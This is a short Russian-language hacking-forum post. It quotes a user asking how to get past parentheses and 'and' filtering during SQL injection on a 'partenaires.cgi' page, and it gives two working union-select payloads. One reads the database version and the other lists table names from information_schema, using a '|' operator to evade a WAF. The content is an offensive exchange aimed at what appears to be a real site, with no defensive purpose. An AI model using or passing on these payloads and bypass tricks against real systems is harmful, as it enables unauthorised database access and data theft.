06.02.2015, 18:14
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от reuvenmatbil
Код:
partenaires/partenaires.cgi?CAT=1+div+0+union+select+1,@@version,3,4,5,6--+&PAYS=AF
стоит фильтрация на ( и ). пробовал обойти с помощью urlencode — не вышло
что предпринять можно? кроме ( и ) еще *, WAF на and. во всех полях ругался на кодировку, кроме 4. там и вывод номральный
Код:
partenaires/partenaires.cgi?CAT=1+|+1=0+union+select+1,2,3,table_name,5,6+from+information_schema.tables--+&PAYS=AF
|
|
|